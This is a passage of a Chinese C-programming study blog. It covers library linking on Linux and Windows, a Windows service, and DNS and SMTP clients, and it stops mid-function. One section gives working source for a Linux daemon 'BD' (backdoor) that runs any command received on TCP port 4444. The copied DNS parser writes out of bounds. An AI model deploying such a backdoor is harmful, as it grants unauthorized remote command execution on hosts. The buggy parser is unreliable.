C语言的30个夜晚

动态链接与静态链接的区别

链接通俗来说就是C语言程序在编译过程中,编译器将所有的资源“拼接”到二进制文件中,从而形成最终的可执行文件的过程。

链接库文件通常就是一些专门存放一些通用函数的文件,动态和静态库的区别就在于,动态库是随着程序的发布一起发布的,作为独立的模块发布。

程序需要用到其中的函数时,动态地加载这些模块,从而调用其中的功能。

而静态库则是程序在编译的时候,从库中将所需要用到的函数、类等提取出来,复制到自身的可执行文件中。

在Linux中,静态链接库文件的后缀名通常是.a;在Windows系统中,静态链接库文件的后缀名为.lib

在Linux中,动态链接库文件的后缀名通常是.so;在Windows系统中,动态链接库文件的后缀名为.dll

Linux动态链接库和静态链接库

Linux动态链接

一个简单的Linux动态链接创建实例:

源文件:func1.c和func2.c编译生成testlib.so,testlib.h中声明了testlib.so的函数,main.c调用testlib.so中的函数。

func1.c:

1
2
3
4
5
6
#include "testlib.h"

int add(int a,int b){
return a + b;
}

func2.c:

1
2
3
4
5
#include "testlib.h"

int sub(int a,int b){
return a - b;
}

testlib.h:

1
2
3
4
5
6
7
#ifndef __TEST_H_
#define __TEST_H_

int add(int a,int b);
int sub(int a,int b);

#endif

编译:

编译生成testlib.so:

1
gcc -fpic -shared func1.c func2.c -o testlib.so

Linux动态链接的隐式调用(静态调用)

Linux动态链接库的隐式调用,就是将生成的so文件直接放到系统的Lib路径中,可执行程序在执行调用之前系统会自动将库文件加载到内存中,而不需要手动去加载。

main.c:

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include "testlib.h"

int main(){
int m, n;
printf("Input two numbers: ");
scanf("%d %d", &m, &n);
printf("%d+%d=%d\n", m, n, add(m, n));
printf("%d-%d=%d\n", m, n, sub(m, n));
return 0;
}

编译生成main:

1
gcc main.c testlib.so -o main

生成之后如果直接执行main会报错:

1
./main: error while loading shared libraries: testlib.so: cannot open shared object file: No such file or directory

因为此时系统不知道应该从哪里加载testlib.so:

1
2
3
4
5
6
chorder@debian:~/testlib$ldd main
linux-vdso.so.1 (0x00007fff979c7000)
testlib.so => not found
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fa0e5d8c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fa0e5f70000)

只需要将testlib.so拷贝到/usr/lib/即可:

1
2
3
4
5
6
chorder@debian:~/testlib$sudo cp testlib.so /usr/lib/
chorder@debian:~/testlib$./main
Input two numbers: 3
2
3+2=5
3-2=1

Linux动态链接的显式调用(动态调用)

main_d.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <dlfcn.h>
#include <stddef.h>
#include <stdio.h>

int main(){
int m,n;
//打开库文件,需要提供testlib.so的绝对路径,否则会无法加载
void* handler = dlopen("./testlib.so",RTLD_LAZY);
if(dlerror() != NULL){
printf("%s",dlerror());
}

//获取库文件中的 add() 函数
int(*add)(int,int)=dlsym(handler,"add");
if(dlerror()!=NULL){
printf("%s",dlerror());
}

//获取库文件中的 sub() 函数
int(*sub)(int,int)=dlsym(handler,"sub");
if(dlerror()!=NULL){
printf("%s",dlerror());
}

//使用库文件中的函数实现相关功能
printf("Input two numbers: ");
scanf("%d %d", &m, &n);
printf("%d+%d=%d\n", m, n, add(m, n));
printf("%d-%d=%d\n", m, n, sub(m, n));
//关闭库文件
dlclose(handler);
return 0;
}

编译生成main_d:

1
gcc main_d.c -ldl -o main_d

可以直接运行main_d:

1
2
3
4
5
chorder@debian:~/testlib$gcc main_d.c -ldl -o main_d
chorder@debian:~/testlib$./main_d
Input two numbers: 3 2
3+2=5
3-2=1

Linux静态链接

静态链接相对来说比较简单,只需要在编译的时候加上相应的参数即可将函数编译到可执行文件中。

一个简单的Linux下的静态链接库的例子:

add.c和sub.c编译生成libtest.a,libtest.h中声明了相应的函数,main.c调用libtest.a中的函数。

add.c

1
2
3
int add(int a, int b){
return a + b;
}

sub.c

1
2
3
int sub(int a, int b){
return a - b;
}

libtest.h

1
2
3
4
5
6
7
#ifndef __TEST_H_
#define __TEST_H_

int add(int, int);
int sub(int, int);

#endif

main.c

1
2
3
4
5
6
7
#include <stdio.h>
#include "libtest.h"

int main(){
printf("%d, %d\n", add(3, 2), sub(3, 2));
return 0;
}

编译:

编译add.c和sub.c,生成目标文件 add.o sub.o

1
gcc -c add.c sub.c

归档目标文件,生成静态链接库 libtest.a

使用 ar 命令将目标文件压缩到一起,并且对其进行编号和索引,以便于查找和检索

1
ar rcv libtest.a add.o sub.o

编译main.c:

1
gcc main.c -L. -ltest -o main

Windows动态链接库和静态链接库

Windows动态链接

Windows的动态链接库一般是DLL,这里创建一个DLL工程,func1.c和func2.c组合编译成testlib_win.dll,并通过两种方法分别调用testlib_win.dll中的函数。

第一种称之为显式链接,只需提供DLL文件和知晓函数名即可;第二种称之为隐式链接,需要提供lib,头文件和dll。

首先在VS2019中创建DLL项目:

func1.c:

1
2
3
4
5
6
#include "testlib_win.h"

int add(int a, int b) {
return a + b;
}

func2.c:

1
2
3
4
5
#include "testlib_win.h"

int sub(int a, int b) {
return a - b;
}

testlib_win.h

1
2
3
4
5
6
7
8
#ifndef __TEST_H_
#define __TEST_H_

int add(int a, int b);
int sub(int a, int b);

#endif

直接编译会报错,需要修改一下项目属性,不使用预编译头:

点击生成解决方案,即可编译出DLL:

此时生成的文件中只有dll,并没有lib文件,如果想要生成lib文件,则需要对testlib_win.h文件进行修改:

testlib_win.h

1
2
3
4
5
6
7
#ifndef __TEST_H_
#define __TEST_H_

extern __declspec(dllexport) int add(int a, int b);
extern __declspec(dllexport) int sub(int a, int b);

#endif

此时编译出的文件中,就包含了testlib_win.lib:

Windows DLL显式调用

创建工程,包含testlib_win.h头文件,在其中加载DLL并调用add和sub函数:

main.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <Windows.h>
#include <stdio.h>

#include "testlib_win.h"

typedef int(*FUNC)(int, int);

int main() {

HINSTANCE hInstLibrary = LoadLibrary(L"testlib_win.dll");
FUNC add,sub;

if (hInstLibrary == NULL) {
printf("无法加载DLL");
}
else {
printf("DLL加载成功 %p\n", hInstLibrary);
}

add = (FUNC)GetProcAddress(hInstLibrary, "add");
sub = (FUNC)GetProcAddress(hInstLibrary, "sub");

if (add == NULL || sub == NULL) {
FreeLibrary(hInstLibrary);
printf("获取函数地址失败\n");
}
else {
printf("函数add地址获取成功 %p!\n", add);
printf("函数sub地址获取成功 %p!\n", sub);
printf("Call add: %d\n", add(1,2) );
printf("Call sub: %d\n", sub(3,2));
}

FreeLibrary(hInstLibrary);
return 0;
}

将testlib_win.h加入到源码目录,将testlib_win.dll加入到编译输出的文件所在目录:

运行即可:

Windows DLL隐式调用

由于不常用,以后再补充。

Windows静态链接

由于不常用,以后再补充。

(待续)

参考资料

GCC使用静态链接库和动态链接库
C/C++动态链接库的显式调用(动态调用)
linux静态链接库
什么是 DLL
windows LoadLibrary使用示例
Visual Studio 2013中.dll文件的显式调用方法
Windows DLL调用实例
VS2017生成一个简单的DLL文件 和 LIB文件——C语言

在Windows中创建服务一般需要先编写服务程序的代码,然后使用SCM注册这个服务。
手动注册一个Windows服务的方法是:

1
2
3
4
5
6
7
8
9
# 注册服务
sc create TestService binpath= D:\\Programs\\TestService\\main.exe
# 删除服务
sc delete TestService
# 开启服务
net start TestService
# 停止服务
net stop TestService

这里实现了一个最基本的Windows服务程序,服务启动之后监听本地TCP 8888端口,接收和发送数据。

service.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
/*service.cpp*/


#include <stdio.h>
#include <Windows.h>

#include "service.h"



#define SLEEP_TIME 5000



SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE hStatus;

void ServiceMain(int argc, char** argv);
void ControlHandler(DWORD request);
int InitService();
int WriteToLog(char* str);

int main(int argc, char* argv[]){
SERVICE_TABLE_ENTRY ServiceTable[2];
ServiceTable[0].lpServiceName = "ServiceExample1";
ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;

ServiceTable[1].lpServiceName = NULL;
ServiceTable[1].lpServiceProc = NULL;

StartServiceCtrlDispatcher(ServiceTable);
return 0;
}


void ServiceMain(int argc, char** argv){
int error;

ServiceStatus.dwServiceType = SERVICE_WIN32;
ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;

hStatus = RegisterServiceCtrlHandler("ServiceExample1", (LPHANDLER_FUNCTION)ControlHandler);
if (hStatus == (SERVICE_STATUS_HANDLE)0){
// Registering Control Handler failed
return;
}
// Initialize Service
error = InitService();
if (!error){
// Initialization failed
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = -1;
SetServiceStatus(hStatus, &ServiceStatus);
return;
}
// We report the running status to SCM.
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus (hStatus, &ServiceStatus);

int server = start_server(8888);
/*
MEMORYSTATUS memory;
// The worker loop of a service
while (ServiceStatus.dwCurrentState == SERVICE_RUNNING){
char buffer[16];
GlobalMemoryStatus(&memory);
sprintf(buffer, "%d", memory.dwAvailPhys);
int result = WriteToLog(buffer);
if (result){
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = -1;
SetServiceStatus(hStatus, &ServiceStatus);
return;
}
Sleep(SLEEP_TIME);
}
*/


return;
}


void ControlHandler(DWORD request){
switch(request) {
case SERVICE_CONTROL_STOP:
WriteToLog("服务已停止");
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &ServiceStatus);
return;


case SERVICE_CONTROL_SHUTDOWN:
WriteToLog("服务已关闭");
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &ServiceStatus);
return;

default:
break;
}

// Report current status
SetServiceStatus (hStatus, &ServiceStatus);
return;
}





int InitService(){
WriteToLog("服务已启动");
return true;
}

server.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
/*server.cpp*/
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

#include "service.h"

#pragma comment(lib,"ws2_32.lib")


int start_server(int bind_port){
//初始化WSA
WORD sockVersion = MAKEWORD(2, 2);
WSADATA wsaData;
if (WSAStartup(sockVersion, &wsaData) != 0){
return 0;
}

//创建套接字
SOCKET slisten = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (slisten == INVALID_SOCKET){
WriteToLog("Socket创建失败!");
return 0;
}

//绑定IP和端口
struct sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_port = htons(bind_port);
sin.sin_addr.S_un.S_addr = INADDR_ANY;
if (bind(slisten, (LPSOCKADDR)&sin, sizeof(sin)) == SOCKET_ERROR){
WriteToLog("Socket绑定失败!");
}

//开始监听
if (listen(slisten, 5) == SOCKET_ERROR)
{
WriteToLog("Socket监听失败!");
return 0;
}

//循环接收数据
SOCKET sClient;
struct sockaddr_in remoteAddr;
int nAddrlen = sizeof(remoteAddr);
//char revData[255];
WriteToLog("Socket监听成功,等待连接...");
sClient = accept(slisten, (SOCKADDR *)&remoteAddr, &nAddrlen);
while (1){
char revData[255];

char * client_address = inet_ntoa(remoteAddr.sin_addr);

//printf("等待连接...\n");
//sClient = accept(slisten, (SOCKADDR *)&remoteAddr, &nAddrlen);
if (sClient == INVALID_SOCKET){
WriteToLog("数据接收错误!");
continue;
}
WriteToLog( client_address );

//接收数据
int ret = recv(sClient, revData, 255, 0);
//printf(ret);
if (ret > 0){
//revData[ret] = 0x00;
WriteToLog(revData);
}

//发送数据
char * sendData = revData;
send(sClient, sendData, strlen(sendData), 0);

}
closesocket(sClient);
closesocket(slisten);
WSACleanup();
return 0;
}

utils.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/*utils.cpp*/

#include <time.h>
#include <stdio.h>
#include <stdlib.h>


#define LOGFILE "C://service_example_1_log.txt"


int WriteToLog(char* str){
FILE* log;
log = fopen(LOGFILE, "a+");
if (log == NULL)
return -1;

time_t rawtime;
struct tm * timeinfo;
char time_buffer [128];

time (&rawtime);
//printf("%ld\n", rawtime);

timeinfo = localtime (&rawtime);
strftime (time_buffer,sizeof(time_buffer),"%Y/%m/%d %H:%M:%S",timeinfo);
//printf("%s\n", buffer);

fprintf(log, "%s\t%s\n", time_buffer, str);
fclose(log);
return 0;
}


service.h

1
2
3
4
5
6
/*service.h*/


extern int WriteToLog(char* str);
extern int start_server(int bind_port);

参考资料

开发 Windows 服务应用
C语言开发Windows服务
C++编写Windows服务
C++编写Windows服务
Windows 服务程序(一)
Windows 服务程序(二)
windows环境下C语言socket编程

因为很多私事,复习停滞了两个半月,真是太惭愧了。不说了,菜鸡抽空继续学。

Linux Service

Service是一种被称为守护进程(daemon)的程序。它通常一旦启动后就在后台持续运行,通常在等待什么输入或者监控系统有什么变化。例如Apache服务器有一个叫httpd的守护进程监听80端口以等待http请求。

Service程序通常通过service命令来启动或停止等。例如apache服务的启动可通过service httpd start来启动。

通过service --status-all可以查看系统当前所有service服务的状态。

https://blog.csdn.net/gobitan/article/details/5903342

使用stdlib.h中的daemon实现守护进程

通过以下样例程序,结合前期复习的socket相关知识,以及最基本的Linux系统调用,实现了一个运行在Linux中的服务程序(Daemon)。

这个程序会在后台监听当前主机的4444端口,当tcp客户端连接上时,会接受客户端的输入,并作为shell来执行,实现最基本的C/S架构的BD功能。

(后面也将继续基于这个例子进一步改良和优化这个程序。)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
/*
simple echo BD.
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <time.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>

#define MAXPENDING 5 /* Max connection requests */
#define BUFFSIZE 255
#define BINDPORT 4444

void die(char *mess) { perror(mess); exit(1); }

int main(void){


//create daemon
if(daemon(0,1) == -1){
perror("daemon error");
exit(0);
}


int serversock, clientsock;
struct sockaddr_in echoserver, echoclient;

/* Create the TCP socket */
if ((serversock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
die("Failed to create socket");
}

/* Construct the server sockaddr_in structure */
memset(&echoserver, 0, sizeof(echoserver)); /* Clear struct */
echoserver.sin_family = AF_INET; /* Internet/IP */
echoserver.sin_addr.s_addr = htonl(INADDR_ANY); /* Incoming addr */
//echoserver.sin_port = htons(atoi(bind_port)); /* server port */
echoserver.sin_port = htons( BINDPORT );

/* Bind the server socket */
if (bind(serversock, (struct sockaddr *) &echoserver, sizeof(echoserver)) < 0) {
die("Failed to bind the server socket");
}

/* Listen on the server socket */
if (listen(serversock, MAXPENDING) < 0) {
die("Failed to listen on server socket");
}

/* Run until cancelled */
while (1) {
unsigned int clientlen = sizeof(echoclient);
/* Wait for client connection */
if ((clientsock = accept(serversock, (struct sockaddr *) &echoclient, &clientlen)) < 0) {
die("Failed to accept client connection");
}

printf("[*] Client connected: %s\n", inet_ntoa(echoclient.sin_addr));

FILE *fp;
int received;
char command[BUFFSIZE];
char buffer[BUFFSIZE];
memset(command,0,sizeof(command));
memset(buffer,0,sizeof(buffer));


while( (received = recvfrom(clientsock, command, BUFFSIZE, 0, (struct sockaddr *) &echoclient, &clientlen)) > 0 ){

/*
if ((received = recvfrom(clientsock, command, BUFFSIZE, 0, (struct sockaddr *) &echoclient, &clientlen)) < 0) {
die("Failed to receive message");
}
*/

if(strcmp(command,"exit") == 0){
printf("[*] Client exit.");
break;
}else{
printf("[*] Client send(%d): %s\n", received, command);
}
// Execute command
fp=popen(command,"r");

while(fgets(buffer,sizeof(buffer),fp)!=NULL){
printf("%s", buffer);
send(clientsock, buffer, sizeof(buffer), 0);
memset(buffer,0,sizeof(buffer));
}
pclose(fp);

memset(command,0,sizeof(command));
}

close(clientsock);

}

return 0;
}

参考资料

Linux平台下的service程序编写指南
Linux中创建Daemon进程的三种方法
守护进程详解及创建,daemon使用

应用层常见协议及其实现库

DNS
利用C语言实现DNS查询和DNS响应包的解析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
/*
* 源码出处:https://www.cnblogs.com/qrxqrx/articles/8034781.html
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <unistd.h>

char dns_servers[1][16];//存放DNS服务器的IP
int dns_server_count = 0;

/*
**DNS报文中查询区域的查询类型
*/
#define A 1 //查询类型,表示由域名获得IPv4地址

void ngethostbyname(unsigned char*, int);
void ChangetoDnsNameFormat(unsigned char*, unsigned char*);

/*
**DNS报文首部
**这里使用了位域
*/
struct DNS_HEADER {
unsigned short id; //会话标识
unsigned char rd :1; // 表示期望递归
unsigned char tc :1; // 表示可截断的
unsigned char aa :1; // 表示授权回答
unsigned char opcode :4;
unsigned char qr :1; // 查询/响应标志,0为查询,1为响应
unsigned char rcode :4; //应答码
unsigned char cd :1;
unsigned char ad :1;
unsigned char z :1; //保留值
unsigned char ra :1; // 表示可用递归
unsigned short q_count; // 表示查询问题区域节的数量
unsigned short ans_count; // 表示回答区域的数量
unsigned short auth_count; // 表示授权区域的数量
unsigned short add_count; // 表示附加区域的数量
};

/*
**DNS报文中查询问题区域
*/
struct QUESTION {
unsigned short qtype;//查询类型
unsigned short qclass;//查询类
};
typedef struct {
unsigned char *name;
struct QUESTION *ques;
} QUERY;

/*
**DNS报文中回答区域的常量字段
*/
//编译制导命令
#pragma pack(push, 1)//保存对齐状态,设定为1字节对齐
struct R_DATA {
unsigned short type; //表示资源记录的类型
unsigned short _class; //类
unsigned int ttl; //表示资源记录可以缓存的时间
unsigned short data_len; //数据长度
};
#pragma pack(pop) //恢复对齐状态

/*
**DNS报文中回答区域的资源数据字段
*/
struct RES_RECORD {
unsigned char *name;//资源记录包含的域名
struct R_DATA *resource;//资源数据
unsigned char *rdata;
};

int main(int argc, char *argv[]) {
unsigned char hostname[100];
unsigned char dns_servername[100];
printf("请输入DNS服务器的IP:");
scanf("%s", dns_servername);
strcpy(dns_servers[0], dns_servername);
printf("请输入要查询IP的主机名:");
scanf("%s", hostname);

//由域名获得IPv4地址,A是查询类型
ngethostbyname(hostname, A);

return 0;
}

/*
**实现DNS查询功能
*/
void ngethostbyname(unsigned char *host, int query_type) {
unsigned char buf[65536], *qname, *reader;
int i, j, stop, s;

struct sockaddr_in a;//地址

struct RES_RECORD answers[20], auth[20], addit[20];//回答区域、授权区域、附加区域中的资源数据字段
struct sockaddr_in dest;//地址

struct DNS_HEADER *dns = NULL;
struct QUESTION *qinfo = NULL;

printf("\n所需解析域名:%s", host);

s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); //建立分配UDP套结字

dest.sin_family = AF_INET;//IPv4
dest.sin_port = htons(53);//53号端口
dest.sin_addr.s_addr = inet_addr(dns_servers[0]);//DNS服务器IP

dns = (struct DNS_HEADER *) &buf;
/*设置DNS报文首部*/
dns->id = (unsigned short) htons(getpid());//id设为进程标识符
dns->qr = 0; //查询
dns->opcode = 0; //标准查询
dns->aa = 0; //不授权回答
dns->tc = 0; //不可截断
dns->rd = 1; //期望递归
dns->ra = 0; //不可用递归
dns->z = 0; //必须为0
dns->ad = 0;
dns->cd = 0;
dns->rcode = 0;//没有差错
dns->q_count = htons(1); //1个问题
dns->ans_count = 0;
dns->auth_count = 0;
dns->add_count = 0;

//qname指向查询问题区域的查询名字段
qname = (unsigned char*) &buf[sizeof(struct DNS_HEADER)];

ChangetoDnsNameFormat(qname, host);//修改域名格式
qinfo = (struct QUESTION*) &buf[sizeof(struct DNS_HEADER)
+ (strlen((const char*) qname) + 1)]; //qinfo指向问题查询区域的查询类型字段

qinfo->qtype = htons(query_type); //查询类型为A
qinfo->qclass = htons(1); //查询类为1

//向DNS服务器发送DNS请求报文
printf("\n\n发送报文中...");
if (sendto(s, (char*) buf,sizeof(struct DNS_HEADER) + (strlen((const char*) qname) + 1)+ sizeof(struct QUESTION), 0, (struct sockaddr*) &dest,sizeof(dest)) < 0)
{
perror("发送失败!");
}
printf("发送成功!");

//从DNS服务器接受DNS响应报文
i = sizeof dest;
printf("\n接收报文中...");
if (recvfrom(s, (char*) buf, 65536, 0, (struct sockaddr*) &dest,(socklen_t*) &i) < 0) {
perror("接收失败!");
}
printf("接收成功!");

dns = (struct DNS_HEADER*) buf;

//将reader指向接收报文的回答区域
reader = &buf[sizeof(struct DNS_HEADER) + (strlen((const char*) qname) + 1)
+ sizeof(struct QUESTION)];

printf("\n\n响应报文包含: ");
printf("\n %d个问题", ntohs(dns->q_count));
printf("\n %d个回答", ntohs(dns->ans_count));
printf("\n %d个授权服务", ntohs(dns->auth_count));
printf("\n %d个附加记录\n\n", ntohs(dns->add_count));

/*
**解析接收报文
*/
reader = reader + sizeof(short);//short类型长度为32为,相当于域名字段长度,这时reader指向回答区域的查询类型字段
answers[i].resource = (struct R_DATA*) (reader);
reader = reader + sizeof(struct R_DATA);//指向回答问题区域的资源数据字段
if (ntohs(answers[i].resource->type) == A) //判断资源类型是否为IPv4地址
{
answers[i].rdata = (unsigned char*) malloc(ntohs(answers[i].resource->data_len));//资源数据
for (j = 0; j < ntohs(answers[i].resource->data_len); j++)
{
answers[i].rdata[j] = reader[j];
}
answers[i].rdata[ntohs(answers[i].resource->data_len)] = '\0';
reader = reader + ntohs(answers[i].resource->data_len);
}

//显示查询结果
if (ntohs(answers[i].resource->type) == A) //判断查询类型IPv4地址
{
long *p;
p = (long*) answers[i].rdata;
a.sin_addr.s_addr = *p;
printf("IPv4地址:%s\n", inet_ntoa(a.sin_addr));
}

return;
}

/*
**从www.baidu.com转换到3www5baidu3com
*/
void ChangetoDnsNameFormat(unsigned char* dns, unsigned char* host) {
int lock = 0, i;
strcat((char*) host, ".");

for (i = 0; i < strlen((char*) host); i++) {
if (host[i] == '.') {
*dns++ = i - lock;
for (; lock < i; lock++) {
*dns++ = host[lock];
}
lock++;
}
}
*dns++ = '\0';
}

HTTP

利用C语言实现HTTP请求,可以采用原生Socket往端口发包,根据HTTP协议自行构造请求的方式。

但更方便的方式是使用libcurl库。自行构造Socket请求的方式既不能保证性能,又无法保证安全。

libcurl库至少是相对完善的第三方库。

详细用法,参考libcurl官方文档以及libcurl官方样例

SMTP

SMTP一例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
/*
* 源码出处:https://blog.csdn.net/zx824/article/details/7387418
*/
#ifdef WIN32
#include <windows.h>
#include <stdio.h>
#else
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <unistd.h>
#include <sys/time.h>
#endif
struct data6{
unsigned int d4:6;
unsigned int d3:6;
unsigned int d2:6;
unsigned int d1:6;
};
// 协议中加密部分使用的是base64方法
char con628(char c6);
void base64(char *dbuf,char *buf128,int len);
void sendemail(char *email,char *body);
int open_socket(struct sockaddr *addr);

int main()
{
char email[] = "[email protected]";
char body[] = "From: \"yyy\"<[email protected]>\r\n"
"To: \"xxx\"<[email protected]>\r\n"
"Subject: Hello\r\n\r\n"
"Hello World, Hello Email!";
sendemail(email, body);
return 0;
}

char con628(char c6)
{
char rtn = '\0';
if (c6 < 26) rtn = c6 + 65;
else if (c6 < 52) rtn = c6 + 71;
else if (c6 < 62) rtn = c6 - 4;
else if (c6 == 62) rtn = 43;
else rtn = 47;
return rtn;
}

// base64的实现
void base64(char *dbuf, char *buf128, int len)
{
struct data6 *ddd = NULL;
int i = 0;
char buf[256] = {0};
char *tmp = NULL;
char cc = '\0';
memset(buf, 0, 256);
strcpy(buf, buf128);
for(i = 1; i <= len/3; i++)
{
tmp = buf+(i-1)*3;
cc = tmp[2];
tmp[2] = tmp[0];
tmp[0] = cc;
ddd = (struct data6 *)tmp;
dbuf[(i-1)*4+0] = con628((unsigned int)ddd->d1);
dbuf[(i-1)*4+1] = con628((unsigned int)ddd->d2);
dbuf[(i-1)*4+2] = con628((unsigned int)ddd->d3);
dbuf[(i-1)*4+3] = con628((unsigned int)ddd->d4);
}
if(len%3 == 1)
{
tmp = buf+(i-1)*3;
cc = tmp[2];
tmp[2] = tmp[0];
tmp[0] = cc;
ddd = (struct data6 *)tmp;
dbuf[(i-1)*4+0] = con628((unsigned int)ddd->d1);
dbuf[(i-1)*4+1] = con628((unsigned int)ddd->d2);
dbuf[(i-1)*4+2] = '=';
dbuf[(i-1)*4+3] = '=';
}
if(len%3 == 2)
{
tmp = buf+(i-1)*3;
cc = tmp[2];
tmp[2] = tmp[0];
tmp[0] = cc;
ddd = (struct data6 *)tmp;
dbuf[(i-1)*4+0] = con628((unsigned int)ddd->d1);
dbuf[(i-1)*4+1] = con628((unsigned int)ddd->d2);
dbuf[(i-1)*4+2] = con628((unsigned int)ddd->d3);
dbuf[(i-1)*4+3] = '=';
}
return;
}
// 发送邮件
void sendemail(char *email, char *body)
{
int sockfd = 0;
struct sockaddr_in their_addr = {0};
char buf[1500] = {0};
char rbuf[1500] = {0};
char login[128] = {0};
char pass[128] = {0};
#ifdef WIN32
WSADATA WSAData;
WSAStartup(MAKEWORD(2, 2), &WSAData);
#endif
memset(&their_addr, 0, sizeof(their_addr));
their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(25);
their_addr.sin_addr.s_addr = inet_addr("123.58.177.49");//qq smtp 服务器
// 连接邮件服务器,如果连接后没有响应,则2 秒后重新连接
sockfd = open_socket((struct sockaddr *)&their_addr);
memset(rbuf,0,1500);
while(recv(sockfd, rbuf, 1500, 0) == 0)
{
printf("reconnect...\n");
//Sleep(2);
//close(sockfd);
sockfd = open_socket((struct sockaddr *)&their_addr);

memset(rbuf,0,1500);
}

printf("%s\n", rbuf);

// EHLO
memset(buf, 0, 1500);
sprintf(buf, "EHLO abcdefg-PC\r\n");
send(sockfd, buf, strlen(buf), 0);
memset(rbuf, 0, 1500);
recv(sockfd, rbuf, 1500, 0);
printf("%s\n", rbuf);

// AUTH LOGIN
memset(buf, 0, 1500);
sprintf(buf, "AUTH LOGIN\r\n");
send(sockfd, buf, strlen(buf), 0);
printf("%s\n", buf);
memset(rbuf, 0, 1500);
recv(sockfd, rbuf, 1500, 0);
printf("%s\n", rbuf);

// USER
memset(buf, 0, 1500);
sprintf(buf,"[email protected]");
memset(login, 0, 128);
base64(login, buf, strlen(buf));
sprintf(buf, "%s\r\n", login);
